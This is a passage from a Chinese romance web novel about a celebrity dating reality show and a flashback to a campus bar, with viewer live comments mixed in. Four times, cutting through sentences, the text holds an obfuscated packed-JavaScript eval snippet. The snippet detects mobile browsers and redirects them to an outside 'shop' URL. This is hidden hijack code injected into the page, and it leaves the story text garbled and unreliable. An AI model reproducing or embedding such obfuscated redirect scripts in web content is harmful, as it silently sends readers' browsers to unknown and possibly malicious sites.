“在这儿躲清闲呢?”程子归钻到他的这片树荫下,“看起来是对等会儿的投票环节势在必得了啊。” “一般吧。” 许钧闻耸肩:“我也不是那种特别在乎胜负的人。” 「胡说八道!谁刚才给素人拍照严格得像是在军训一样!哈哈哈哈哈哈罗姐脸都快僵了。」 「嘴上:不在乎胜负;实际:发什么愣站起来拍,许钧闻,好嘴硬一男的hhhh」 * 很快,照相馆就将各组最终选定提交的照片洗了出来。 投票的地点设置在了绥夷古城的中心广场,四组嘉宾按照抽签顺序依次排开,五十名幸运观众每人手里有一支节目组发的玫瑰花,喜欢哪一组的照片,投票观众就会将玫瑰花插在哪一组面前台子中央的花瓶里。 “以前都是我给别人的作品投票,好久没有这么紧张过了。” 程子归看了看自己的照片,又看了看其他组的照片,朝许钧闻的方向扬了扬下巴:“我感觉,能和我们竞争第一名的应该只有钧闻他们那一组了吧。” 「确实,这四张照片里拍得比较好看的就是3组和4组了。」 「我哥真的牛!又会写歌又会画画又会拍照,还有什么是他不会的!简直不敢想做他女朋友会有多幸福!」 「前面的,还是年轻了吧?我就敢想,许钧闻就是我老公!」 「拔刀吧情敌233333」 或许应了坊间流传的说法:会画画的人,一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13284032|138976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 般都蛮擅长拍照。 许钧闻那张照片里,罗艺亭和白景川两人站在葡萄藤前,阳光透过树叶的罅隙在他们身上印上形状不一的阴影,两人在镜头前相视一笑,氛围温馨又美好。 「每人觉得2组的照片真的很绝么,如果不说这是一档恋综的话,谁能想到2组那张是‘情侣照’啊哈哈哈哈哈」 「点了,Question在赛前定妆照里看对手都比看温律时温柔hhhhh」 「我蹲了林问的直播间,感觉他和温璐两个人随时都会打起来似的,妹宝抱着相机随时准备劝架哈哈哈哈哈」 如果说程子归和许钧闻是这次任务的冠军争夺者,那么温璐那组的照片洗出来后,几乎整个直播间都被“哈哈哈”的笑声所淹没。 温璐别说和林问之间产生火花了,看见林问时她的白眼不要翻得太明显就已经是她对镜头和观众,以及那串挂着好几个零的违约金的尊重了。 因此两人这张照片拍得过程那叫一个艰难坎坷。 青葭举着相机,看着画面里两个“笑里藏刀”的面孔,一边按快门,一边深深叹口气: 罢了,这个活动的第一名看来是与她无缘了,随便吧,爱咋咋地吧。 …… “好的,那么,这次任务最终的投票结果已经在我手里了,最终,下次约会的特权花落谁家,又是谁要负责今天晚上大家的晚餐呢——” 导演坐在摄影机后,慢悠悠地拆开手里的信封。 「是五十票不是五百票,一眼不就看出来了嘛??还搞什么悬念啊。」 「综艺的仪式感由导演来守护!」 「我先说,真的很期待今晚4组一起做晚餐的画面,抱歉了青葭妹妹辛苦了哈哈哈哈哈」 尽管导演还在努力地完成每一个既定的环节。 但这个投票结果真的没有人会好奇—— 温璐那组面前的花瓶里肉眼可见地插着两朵玫瑰。 还都来自青葭的粉丝,其中一人在投票时还不忘安慰她:“妹宝我知道你尽力了!” 祝意安那一组,朱蕴和薛明浩之间虽然画面拍得不错,但整体氛围看上去更像好友相约一起出游,缺乏一点情侣之间眼神拉丝的暧昧感。 因此只获得了七票。 果然不出预料,大部分票数都集中在了许钧闻那组,以及时缈这组的身上。 在经过工作人员的计数之后,导演推了推脸上的墨镜,拖着调子宣布了最终的结果: “让我们恭喜第四组,最终获得了二十五票,成为今天情侣艺术照任务的第一名!恭喜许老师获得节目组的特殊神秘道具,罗艺亭、白景川将在下一次约会时获得分组特权!” “同时,让我们恭喜青葭老师、温璐以及林问获得了负责安排今天晚餐的权利!” “导演!” 青葭举手:“‘分组特权’是什么意思啊?” 导演解释道:“就是下一个约会日来临的时候,由他们两位来决定约会的分组哦。” 「哇!这不就好看起来了!已知罗姐对白哥更有好感,白哥对时缈更有好感……让他俩安排约会分组,cpu都快干烧了吧哈哈哈哈哈哈」 「万一这两个人意见不一,听谁的啊?」 “那闻哥获得的道具是什么啊?” 导演耸肩:“这就要看许老师愿不愿意公布出来咯。” 许钧闻打开手里的道具信封,目光落在卡片中间的一行字上。 所有人都看向许钧闻以及他手里的卡片。 只见他修长的手指将卡片重新塞回信封里,指根处叠戴的银色戒指随着他的动作,折射出闪烁着的光点。 许钧闻意味深长地笑了一下,环顾了一圈,在众人的目光中慢条斯理地开口: “都说了是‘神秘道具’了,当然是要保持神秘啊。” “等我用它的时候你们不就知道了吗?” 20. 20首情歌 晚餐时间,时缈远远就闻见空气里浮动着的烧烤蘸料香味。 她走近,就看见民宿的院子里摆着一排排桌子,桌上整整齐齐码着串好的肉串,烤架上的肉串被炭火烤出浓郁的香气,油花滴到炭块上发出“噼啪”的响声。 “这可不算我们偷懒啊,到这里来玩当然要吃一些当地特色咯。” 青葭对着镜头招招手:“虽然串不是我们自己穿的,但至少烤是我们自己烤的嘛。” 时缈顺着香气的来源看过去,只见温璐和林问一人占着一个烤肉架,两人之间仿佛隔着一整条银河。 长条木桌上已经摆了许多烤好的烤串,嘉宾们陆续入席就座,周璨眼疾手快地坐在了时缈的对面,将手里一串已经擦干净签头的肉串递给她:“快尝尝,我刚吃了一串,火候烤得正好。” 时缈点点头,刚接过周璨手里的肉串,右手边就恰到好处地出现了一杯倒好的柠檬水。 她一侧头,对上白景川含笑的眸子:“谢谢。” 白景川将自己的外套搭在她身旁椅子的椅背上,而后顺势坐下:“不用,休息得怎么样?” 白天在外面走了太远的路,又凹了好几个小时的造型,任务结束回到民宿后,时缈只觉得自己的后腰隐隐作痛,反正节目组也没有安排其他任务,她也无所谓自己的镜头是多是少,便主动称自己身体不适,回到房间给自己贴了张舒缓贴,倒头一觉睡了好几个小时。 时缈点头:“还不错,睡了一觉感觉整个人都精神多了。” “那等下吃完饭要不要一起去散步?我看网上的攻略说,谷峪勒的晚上能看见很多星星呢。”周璨仿佛看不到时缈身边的白景川似的,咧着笑向她发出邀约。 白景川面色不变,丝毫没有受到影响:“但我看天气预报,今晚是阴天,可能看不见星星呢。民宿后面不远处有个广场,听说每天晚上都有夜市和表演,也很值得一看。” …… 谢邀,不必了。她既不想去看星星,也不想去逛夜市,她只想安安生生地吃完这顿饭。 不敢接话的时缈只好战术性吃肉,将他们的话题蒙混过去。 相比于时缈的尴尬和煎熬,弹幕的直播观众们显然很爱看这种桥段—— 「好好好!体贴年上vs阳光年下!」 「修罗场!我爱看!多来点!」 「都在说罗姐养鱼,说的好像时缈不养鱼似的,吊着两个男嘉宾都不给个准话,这不是在鱼塘管理是什么?」 「很明显罗姐是对白哥有好感,但又没有明确拒绝林问,但时缈一看就是对两个男嘉宾都没有很明显的好感线啊……只是按照节目组的要求参加活动而已啊。」 「那为什么还发短信?而且还是两边都发过。」 「这题许钧闻会:因为节目组短信环节不允许弃权。」 「不如真的开放观察团信箱,不知道发给谁的都发给观察团!那可就热闹了哈哈哈哈哈」 身处尴尬中心的时缈现在十分迫切地需要一个人来拯救她于水火之中,而通常,充当这个救世主角色的都是她的新朋友兼好室友温璐—— 遥遥看见了烤完最后一盘肉串,端着自己的劳动成果朝长桌这边走过来的温璐,时缈正准备招手让她坐过来,身侧一道身影先时缈一步,拉开椅子坐了下来。 不用她偏头去看。 那股熟悉的淡淡的薄荷余味已经昭示了来人的身份。 “??” 时缈抬手的动作顿了一拍。 明明桌上还有好几个空位,他却偏偏选了她身边的那一个。 “你怎么不坐到那边去。” 借着喝水的姿势遮掩住动作,时缈望了一眼祝意安坐着的位置,轻声问道。 “怎么,”许钧闻挑眉,歪着头,同样将声音压低到只有他们两人能听见的程度,“这个座位是被人承包了吗?” 紧接着,他又意有所指地看了一眼时缈的对面,勾了下唇:“还是说需要我给谁让个位置?” “……”时缈沉默了一瞬,放下杯子目不斜视,“许老师随意,您开心就好。” 见到许钧闻入座,青葭端着一盘烤好的肉串走过来:“闻哥,尝尝我烤的羊肉味道怎么样?” 一边说着,一边伸手要去拉许钧闻另一侧的椅子。 谁料许钧闻抬手按在椅背上,止住了青葭的动作。 “这有人了。” 他朝正往这边走过来的程子归扬了扬下巴,招呼道:“程哥,这儿坐。” 程子归看了看站在许钧闻身旁的青葭,目光在许钧闻身上打了个转,而后乐呵呵地走过来:“老远就闻见香味儿了,馋虫都给我勾起来了,我经纪人看完直播肯定又要给我打电话了。” 他不是看不出来青葭从节目第一天开始就想和许钧闻套近乎,一边是并不熟悉也没什么交集的女团爱豆,另一边是风头正盛给很多影视剧唱过ost的顶流歌手,该给谁卖这个好,程子归在圈里摸爬滚打这么多年,心里自然是门儿清。 青葭碰了个不软不硬的钉子,脸上的笑容却丝毫不见裂痕,将托盘放在许钧闻和程子归两人中间:“我烧烤可是很有一手的哦,你们快尝尝。” “我怎么好意思一个人吃,”许钧闻将托盘朝白景川的方向推了推,“今天能拿第一多亏了我的两位队友,这轮我就借花献佛了。” “白……景川,帮我给你的搭档也递两串啊。” 不知是有意还是无意,许钧闻将托盘向白景川推的时候没有用太多的力气,因此托盘正正好好停在了她和许钧闻中间的位置。 比起白景川,似乎她更方便拿一些。 程子归听见许钧闻这话,也忙不迭地点头:“没错,时缈,小周,你们也多吃些,虽然咱们没得第一,但是第二的成绩也是很不错的嘛,值得庆祝,值得庆祝。” 时缈看着面前好几个盘子里的肉串犯了难。 她从小就不吃羊肉,只对牛肉情有独钟,以前出去吃烧烤或是火锅时,都是许钧闻负责把牛肉挑出来夹到她的碗里。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13297820|138976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现如今面前这些肉串都被随意混放在了一起,让她实在有些无从下手,只好挑了些鸡翅鸡腿出来吃。 碍于镜头的注视和程子归的热情,时缈硬着头皮随便选了一串。 “羊肉,麻烦也递给我一串呗,谢谢。” 许钧闻忽然开口道。 “搞什么呀你,明明你面前也有,”祝意安打趣道,“还非要我们给你递到手里啊?拿个第一名很了不起哦?” 或许其他人没听出来,或许祝意安也只是顺着这话开个玩笑。 但时缈就是有种莫名地直觉—— 她转过头时,许钧闻的视线刚好与她相撞半秒,而后又自然地移到了别处,指尖轻轻点着桌面,语气也散漫:“在这个节目里,我可不止这一次拿到了全场唯一的第一啊,当然是要多享受一点小特权的。” 素人嘉宾们不知道许钧闻话里的意思,但观察团的另外几位却想到了,许钧闻上一次打败所有人成为全场唯一一个预测对匿名短信的那一晚—— “是是是,甘拜下风。”程子归做了个抱拳的手势。 节目规则中明令禁止观察团成员向素人嘉宾们透露他们所知晓的短信发送情况,因此程子归等人不能把那件事在这个场合说出来。 但却不妨碍程子归cue到时缈:“时缈妹子,快给咱们之前的mvp分一串烤羊肉。” 时缈虽然不知道他们几个人到底在打什么哑谜,但至少给她手里选中的这串羊肉找到了一个合理的归宿:“那就把这串给许老师吧,我再拿就好。” 许钧闻接过她手里的竹签。 谷峪勒当地民风淳朴,大方好客,青葭小组带着摄影师一起去市场购买食材时,在得知他们是为了今晚的聚餐准备烧烤食物后,摊主热情地表示会帮他们把肉串好后送到民宿来,让他们尽管放心。 而收到最终串好的成品肉串果然没有辜负大家对西北特色烤肉的期待。 长长的竹签上整整齐齐地串着大小均匀、肥瘦相间的肉块,而且每一根竹签都串得极为实在,仿佛恨不得将整根签子全部串满。 因此留给他们抓握肉串的空间并不算多。 许钧闻的手很大,弹钢琴时横跨八、九度可以说是毫不费力。 此刻,时缈的手捏着竹签的尾部,许钧闻接过肉串时,不知是有意还是无意,小指恰好碰到了时缈的拇指。 随着他取走肉串的动作,他的小拇指指腹蹭过时缈的拇指关节。 轻飘飘的,却留下一阵绵长的痒意。 时缈收回手,在众人看不见的角度,下意识用食指摸了摸刚才与许钧闻有过短暂接触的那一小片皮肤。 可他留下的触觉就像是一道烙印,不是留在她的皮肤上,而是留在她的脑海里。 像曾经无数次他曾在她腰窝处留下过的指痕一样,即使表面上的痕迹已经消失很久了,可还是在她的灵魂和回忆里留下了不可磨灭的战栗感。 “Thanks,Tyche.” 他笑着说。 21. 21首情歌 “那话怎么说的来着?烧烤配酒,越吃越有!” 温璐举着酒杯,朝时缈:“来,碰一个!” “你少喝点啊,”时缈无奈地笑,陪她碰了一个杯,“我可不想等下扛个醉鬼回房间。” “放心吧,我酒量很可以的,”温璐挑眉,倒是在看向她的时候面上带了些惊奇,“不过我倒是没想到,你居然这么能喝。” 他们喝的是当地产的啤酒,酒精浓度比其他地区的啤酒要高上一点,纵然是自诩酒量颇好的温璐,喝了三瓶之后也有点上头的微醺感。 但反观时缈,整顿晚饭下来,面前已经摆了五六个空酒瓶,连脸色都没变。 同样和她一样神色清明的,还有一个人—— 许钧闻。 但不同的是,时缈是来者不拒喝到现在,面色也依然看不出任何变化,而许钧闻则是因为,他从始至终一滴酒都没有碰过,当然能够保持神志清醒。 “不好意思,我酒精过敏。”面对想要给他倒酒的程子归,许钧闻伸手盖住了杯口,给众人解释道。 “是吗?” 祝意安有些意外地看着许钧闻:“记得你出道前还在酒吧驻唱过一段时间,还以为你的酒量应该还蛮不错的,看来是我刻板印象了。” 许钧闻出道前在酒吧驻唱的事情并不算什么秘密。 那家酒吧是就读于附近某个大学的富二代开的,一开始只不过是玩票而已,原本开了一段时间之后,富二代就觉得有些无聊了,想把店面盘出去。 但随着许钧闻的出现,酒吧吸引了越来越多周围的年轻小姑娘来光顾,生意也越来越红火,富二代便一直把那家酒吧开了下去。 听见许钧闻说自己酒精过敏,其他人自然也不会再劝,转而说起了其他话题。 时缈的目光却在许钧闻身上多停了几秒,在周遭喧嚣的环境中藏住自己没忍住而漏出的一声低笑。 许钧闻的目光幽幽地瞥过她。 时缈微微耸肩,自顾自地又喝了一杯酒。 酒精过敏。 这话其他人信,可时缈却是不信的。 她以前没少见到许钧闻用这个理由躲酒。 倒不是因为他真的特别讨厌喝酒…… 只是许钧闻不想在别人面前暴露自己三杯就倒的那点浅薄的酒量而已。 * 许钧闻看上去会给人一种“他私下肯定是烟酒都来啊”的错觉。 棱角分明的轮廓,天生多情的桃花眼,加上那股子桀骜不驯的劲儿,轻而易举就会让人认为他应该是那种会在夜里,戴着头盔骑着机车,横穿过一整个城市,只为了去海边吹吹野风,然后坐在沙滩上开两瓶啤酒打发时间的人。 因此他在酒吧驻唱的那段时间,想请他喝酒的客人,尤其是女客人,络绎不绝。 但他从没有接受过任何人的邀请。 更准确地说,是在时缈之前,他从没有接受过任何人的邀请—— “顾梦瑶,你自己想凑热闹也就罢了,干嘛非叫上我啊……”时缈被顾梦瑶挽着手臂,无奈地跟在她身后走进酒吧大门。 进到酒吧内部,周遭一下暗了下来,只有一束冷白色的灯光照在酒吧最前方正中央空无一人的小舞台上。 明明是刚开始营业没多久,酒吧里竟已经坐了不少人。 “你想啊,连我们系的学姐都知道的风云人物,那肯定要见上一见啊。” 顾梦瑶兴奋地带着她找到了一个空桌,刚一坐下,穿着黑色夹克的服务生就带着酒水单走到两人面前。 “先来一个这个吧,后面还有需要的话我们再点。” 顾梦瑶指着酒水单上的某张照片,四排小酒杯整整齐齐地码在亚克力架子上,纯白、樱粉、浅蓝、明黄,每一层的酒水都是不同的颜色,的确很能吸引女孩子的目光。 “别喝太多啊,否则门禁之前来不及送你回去。” 时缈对顾梦瑶的性子再熟悉不过,活脱脱一个小酒蒙子,如果没人管着她,她恐怕能喝到酒吧打烊才肯罢休。 “放心放心,我知道,看帅哥才是我们今天来这里的主要目的嘛,”顾梦瑶笑嘻嘻地搂住她,指了指斜前面那一桌看上去年龄和她们差不多大的女生,“喏,那中间的那个,新生军训汇报表演的时候我见过她,外院的。” “她旁边那几个应该都是她的同学吧,有两个我看着挺眼熟的,但是不记得是在哪里碰见过了……” “肯定都和我一样,‘慕名而来’的。” 酒还没上,时缈一边听身边顾梦瑶分享她们学校的故事和八卦,一边环顾着将整个酒吧打量了一整圈。 起先是顾梦瑶忽然打电话问她,周末有没有时间,想要约她一起出去玩。 时缈和顾梦瑶从初中就是同班同学,高中后虽然同校不同班,但关系始终很亲近,大学两人更是考到了同一所城市,可以说,在时缈前十八年的人生里,有三分之一的时间都是和顾梦瑶一起度过的。 因此在顾梦瑶发出邀约之后,时缈没有多想,便欣然应邀。 可时缈没料到的是,顾梦瑶说的“一起出来玩”,是将她带到了一家酒吧。 更没想到的是,这家酒吧竟然还是前不久开学初她和室友们一起来过的那家。 “听学姐说,这个酒吧里有个驻唱的歌手是我们学校的学长,帅得那叫一个惨绝人寰,好几个学院的院花都追过他,但是没有一个人能把他拿下的。” “你想啊,我们这种工科学院,本身课程就多,留给我们聊八卦的时间就少,但我们系的学姐几乎都提到过这个人,那说明了什么?” “说明什么?” “一两个人说他帅可能是个人审美,但是大家都说他帅那必然是有过人之处的啊!我实在是越听越好奇,就叫上你过来一起看看,凑个热闹呗。” 时缈在心底幽幽叹了口气。 早知道是这一家,时缈说什么都不会来的。 上次误会人家这里的员工“骚扰”自己的室友的乌龙至今想起来都令她无比尴尬,要是再遇到上次那两个人,时缈觉得自己是一定要找个地缝钻进去的。 “我们先喝着,这会儿还没到演出时间呢。” 服务生将她们点的酒送到桌上,顾梦瑶率先拿起一小杯一饮而尽:“还不错哎,像喝果汁一样,你快尝尝。” 时缈逢年过节在家也是能和家里长辈喝上几圈的,这种用果汁兑出来的调制酒对她的杀伤力几乎为零。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13313600|138976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>一直没有碰见那晚的两个男生,时缈悬着的心也渐渐放松下来,和顾梦瑶两人轻而易举地喝完了四排果酒,又意犹未尽地招手唤来服务生。 正翻看着酒单,隔壁桌一道男声越过座位之间的隔断飘过来:“两位美女,有这个荣幸请你们喝一杯吗?” “不用了不用了。”顾梦瑶摆摆手,倒是对这种场面见怪不怪。 “别这么客气嘛美女。” 男生的手肘搭在两桌之间的隔断上,摆了个自认为很帅的造型,略显油腻的视线在她们两人之间逡巡,不依不饶:“,咱们看上去年纪也差不多大,一起喝一杯就当认识一下交个朋友咯。” “真不用,我们没兴趣。” 点好单的时缈合上酒单,递回给服务员,这才转头看向和她们搭讪的这桌男生。 抬手揽住顾梦瑶的肩膀,将她圈到自己怀里,指了指她又指了指自己:“我们什么关系你看不出来啊?” 顾梦瑶长了张显小的娃娃脸,配上不到一米六的娇小身材,穿上校服混进初高中都不成问题。 而时缈,仗着自己一米七几的身高,轻而易举地就能把顾梦瑶罩在自己怀里,脸上挂着冷意,精致的眉眼不笑的时候带着与生俱来的攻击性。 顾梦瑶配合地靠着她,抬手挽了挽自己耳边的头发。 此话一出,时缈和顾梦瑶眼见着搭讪的男生愣了一下,随机表情难看得像是吞了只苍蝇似的,迅速转头回到了自己的座位上,不再朝她们这边投来任何眼神。 在确定了对方彻底打消了和她们套近乎的心思,时缈才收回了揽住顾梦瑶的肩的手。 顾梦瑶捂着嘴,克制着不让自己笑得太大声。 这招她们以前也用过不少次。 面对不想搭理的搭讪者,简直屡试不爽。 这次自然也不例外。 “哟!这不是上次的那个漂亮妹妹嘛?” 再次有人停在了她们的桌旁,语气惊讶:“好巧啊,又见面啦?” “不是,你谁啊?没听见刚才我们说什么嘛?” 顾梦瑶还以为又是一个没眼色跑上来搭讪的,猛得挽上时缈的手臂,抬头瞪向面前的人。 原本已经松懈下来的神经再次紧绷。 时缈后背一僵。 这声音,她听着耳熟。 而能在这个酒吧里让她觉得“似曾相识”的人…… 时缈缓缓抬眼,对上面前两人的视线。 “嗨,还记得我不?上次我们见过的,”主动打招呼的男生大喇喇地朝时缈挥挥手,笑得无比灿烂,生怕她想不起来似的,“就你以为我们欺负你朋友的那次啊。” …… 她倒是宁愿她能把上次的事彻底忘记。 时缈闭了闭眼,勾起了一个干笑:“啊,好像没什么印象了呢。我们见过吗?” “可以啊时缈,”顾梦瑶捏捏她手腕,小声道,“你还背着我来过酒吧?太不够意思了吧。” “不记得了?” 另一个人的目光中带着戏谑,目光懒懒散散地在她和顾梦瑶之间打了个转,玩味地笑笑:“没关系,我们记得你就行了。” “你上次来的时候,好像是和另一个女孩儿吧?” 22. 22首情歌 ’Cause ??? 时缈愣在原地。 这是什么情况啊? 这人什么意思啊? 虽然她和顾梦瑶只是为了演一出戏打发搭讪男而已,但这人冒出来挑拨离间到底安的是什么心啊! 许钧闻就那样站在原地看着面前这个女生。 她实在不太会隐藏自己的情绪,他几乎可以从她的表情和眼神里看出她现在心里到底在想什么。 和上次见面时拦在自己朋友面前一样,在发现一切只是一个误会和乌龙的时候,她眼底的心虚几乎快要化成实质地溢出来,却还是要强壮镇定,不想让人发现她的尴尬。 就,怪有趣的。 许钧闻勾了个笑。 对面时缈看见他笑了,越发觉得这个男的绝对是没安好心,睖了他一眼,撇开头不打算理会他们了。 “不是,哥们儿,你惹人家小姑娘干嘛?”朋友用手肘捣了捣许钧闻。 平时在店里无论谁来和他搭话都一副爱答不理的懒人模样的家伙,居然主动去开别人女孩子的玩笑了? 不对劲。 很不对劲。 “那什么,我们呢,是在这儿驻唱的乐队,也是京大的学生,不是坏人哈。” “京大?” 顾梦瑶瞪大眼睛:“你说你们是京大的?” “是啊……怎么,不像吗?”男生低头看看自己,又转头看看许钧闻,玩笑道,“怎么,我们长得不像是那么有文化的样子?” “那倒不是那倒不是。” 顾梦瑶慌忙摆摆手,另一只手狠狠拽了拽时缈的上衣下摆。 已知,顾梦瑶就是云京大学机电学院自动化专业的学生,且她们这次来这家酒吧的目的是为了看看京大那个传说中在酒吧驻唱的大帅哥的真面目。 又因为,眼前这个人说他们也是云京大学的学生。 所以…… 结论显而易见。 时缈的目光落在那个确实长相不俗、轻易就能吸引周围人目光的男生身上。 许钧闻今天穿了一件灰色卫衣,下身一条黑色工装裤,脚踩一双黑色马丁靴,手指上叠戴了两枚银色重工戒指,单手揣在裤子口袋里,另一只垂在身侧的手腕上缠着一条银色的链子,仔细一看,链子的尾端缀着一个小物件,似乎是一个吉他拨片。 她和他在不甚明亮的酒吧里对视。 上次由于情况有些尴尬,时缈只是匆匆瞥了他一眼,并没有看得太仔细,印象里只知道这个人长得很帅,是个放在人堆里都能被一眼认出的那种人。 而此刻和他直直对上目光,她才发现,这人长了一双极为漂亮的桃花眼,眸色深深,眼尾微翘,看任何东西都给人一种含情脉脉的错觉。 这大概就是顾梦瑶说的那个,京大的风云人物了。 在这之前,时缈还没把顾梦瑶说给她听的那些小道消息当一回事,只以为这是学生之间夸大其词以讹传讹。 此刻一见,时缈不得不承认,这人光凭长相,在这儿一站,就有被人写进故事里的资本了。 “自我介绍一下,我叫汪乐,京大生物专业大三学生。这位是……” “许钧闻,雷霆万钧的钧,骇人听闻的闻。” 汪乐忍不住再次深深看了许钧闻一眼。 更不对劲了,这小爷主动跟女孩子做自我介绍了! 雷霆万钧,骇人听闻。 时缈还第一次听见有人会这样给自己的名字组词。 鬼使神差的,时缈问了句:“曾许人间第一流的许?” 须知少日拏云志,曾许人间第一流。 许钧闻挑了下眉,潋滟的桃花眼弯了弯:“对。” 紧接着他又说:“京大金融学大二。” 金融学。 他看上去完全不像是个会在谈判桌上和人反复试探耐心博弈的人,倒像是个一言不合直接掀桌的主。 “你们呢?”汪乐收回瞥向许钧闻的目光,主动问两个女生。 “顾梦瑶,也是京大的,自动化专业大一。” “哟,还是我们亲学妹呐,”汪乐笑起来,“那另一位呢,也是京大的吗?” 时缈摇摇头。 “我是云京舞蹈学院的,古典舞专业大一。” “哇塞!果然艺术类专业出美女哈。” 汪乐大手一挥:“两个学妹今晚的酒算我账上了!” “那怎么行!”顾梦瑶摆摆手,“那怎么好意思。” “没事儿,问题不大,我们四舍五入算是这家店的员工了,有员工折扣,”汪乐眨眨眼,指了指空着的舞台的位置,“再说了,这酒我也不是白请的,等会儿还请两位学妹给我们多捧捧场了。” “学长哪儿还需要我们捧场。” 顾梦瑶指了指周围,不少人的目光都聚集在她们这个方向,更准确地说,是聚集在站在她们面前的许钧闻的身上:“这场子里恐怕不少人都是为了看许学长才来的吧?” “那倒是,你们是不知道,自从这家伙来这里唱歌之后,店里的营业额都变高了,而且好多都是女……” “就你话多。” 许钧闻忽然打断汪乐的话:“走了,快到时间了。” “哦哦,”汪乐看了一眼时间,朝时缈和顾梦瑶挥挥手,“快到上台的时间了,我们就行先走了,回见啊学妹们。” 等两人走后,顾梦瑶抓着时缈的手一阵猛晃: “怎么样姐妹!这次是不是来着了!” 不可否认。 饶是在学校里见过了各种风格的帅哥,时缈在看到许钧闻的时候,还是忍不住怔愣了一下。 “国际惯例哈,先给大家带来一首我们乐队主唱自己创作的一首作品,在这个期间呢,有想听的歌可以扫描屏幕上的点歌二维码哈,点歌成功之后我们会根据系统上的歌曲顺序来进行表演。” 汪乐站在舞台上,头顶的灯光将他笼罩起来,气质相比刚才在台下,发生了一些变化。 “Now,it’sshowtime!” * 两首歌曲的间隙,服务生端着一杯酒走上舞台,俯身在许钧闻的耳边说了些什么。 “这是今晚第几个了?” 顾梦瑶朝她认识的那个京大外语系女生的方向扬了扬下巴:“赌一包辣条,这杯酒绝对是她们送的。” 这算是这家酒吧不成文的规定吧。 顾客如果对歌手的表演非常满意的话,可以点一杯酒由服务生送到台上,以此表达对歌手的肯定,而酒吧也会将这杯酒的收入的一半分给歌手,也算是顾客给歌手的“小费”。 一般情况下,歌手们收到顾客为之点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13328109|138976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的酒水,都应该欣然接受才是。 但许钧闻偏偏是个例外。 常来这家酒吧的老顾客都知道,这个年轻乐队的主唱从来不喝顾客送的酒。 从来都不。 起初还有人看他这副“心高气傲”的样子不顺眼,借着酒劲上头就要冲上舞台找他的麻烦,保安还没来得及赶上去拦,闹事的人就被许钧闻三下五除二按着肩膀怼在了桌子上。 肩膀和大理石台面实打实地撞击在一起,发出一道闷响,但立刻就被闹事者的哀嚎声盖过。 虽然事后许钧闻赔了医药费,但也是自那之后,再也没人敢惹他的不痛快。 毕竟这人,有事是真动手啊。 “哈哈,感谢这位顾客对我们乐队的喜爱哈,”汪乐对这种场面已经是见怪不怪了,熟练地站出来打圆场,不让场子冷下来,“让我们来看看,下一首歌是什么呢?” “哇哦,这首歌也是我本人很喜欢的一首歌呢。” 许钧闻侧头看向屏幕里,点歌列表里最上方的一行字。 一声低笑溢出,经过麦克风,转化成电子信号,再通过音响重新解调还原,传到台下顾客耳中时,笑声中夹杂了轻微的电子失真。 可这细微的失真却让许钧闻的这声低笑变得更加蛊惑。 时缈坐在台下,没由来地感觉到,这笑声像是在台下点燃了一把火,将人耳根灼得发热。 “接下来——” 许钧闻坐在高脚凳上,一条腿屈起,踩在凳脚之间的横栏上,另一条腿随意伸着,从时缈的角度望去,这姿势显得他的腿越发的长了。 “一首《JustWayYouAre》送给大家。” 一首本就带着示爱意味的歌,配合上许钧闻那张足以蛊惑众生的脸,掀起了在场女顾客们的一阵小声尖叫。 “许——” 斜前面那桌京大的姑娘差一点就要叫出他的名字。 许钧闻戴着银色戒指的食指竖起,做了个“噤声”的手势,戒指在灯光下闪烁着银光,直直晃进时缈的眼底。 “Andwhenyousmile,thewholeworldstopsandstaresforawhile.”[1] 相比于原曲的热烈直白,许钧闻所演唱的这个版本,末尾音节渐弱,像一根羽毛落在湖面上,撩起一阵涟漪。 时缈望着台上,耳畔酒吧内嘈杂的环境音逐渐淡去,消失不见,只剩台上的人富有磁性的嗓音,将她的五感牢牢牵引。 “’Causegirlyou’reamazing.”[1] 台上的人忽然抬眼,目光越过一排排座位,直直落入时缈的眼底。 那双似乎看谁都含情的桃花眼里氤氲着淡淡的笑意。 “Justwayyouare.”[1] 伴着最后一句歌词,时缈清晰地听见了自己心跳的声音。 怦怦、怦怦。 和台上的乐器声交织在一起。 